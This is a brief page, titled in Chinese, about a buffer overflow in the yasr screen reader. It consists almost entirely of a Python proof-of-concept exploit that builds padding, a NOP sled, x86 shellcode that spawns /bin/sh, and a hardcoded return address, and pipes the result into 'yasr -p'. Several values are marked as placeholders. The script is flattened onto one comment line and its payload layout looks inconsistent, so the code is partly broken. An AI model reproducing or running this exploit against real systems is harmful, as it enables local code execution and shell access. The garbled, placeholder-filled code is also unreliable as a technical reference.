CVE-2016-20041 Yasr缓冲区溢出漏洞

#!/usr/bin/env python3 # PoC for CVE-2016-20041 (Yasr Buffer Overflow) # Usage: python3 poc.py | xargs yasr -p import struct # Payload construction # Offset to overwrite EIP (Example value, needs debugging) offset = 1036 padding = b"A" * offset # Shellcode (Example: exec /bin/sh) # This is a placeholder, actual shellcode depends on the target OS/Arch shellcode = b"\x90" * 32 # NOP sled shellcode += b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # Return address (Example address) ret_addr = struct.pack("<I", 0xbffffe01) payload = padding + shellcode + ret_addr try: print("Sending payload to yasr -p ...") # In a real scenario, this would pass the payload to the binary print(payload.decode('latin-1')) except Exception as e: print(f"Error: {e}")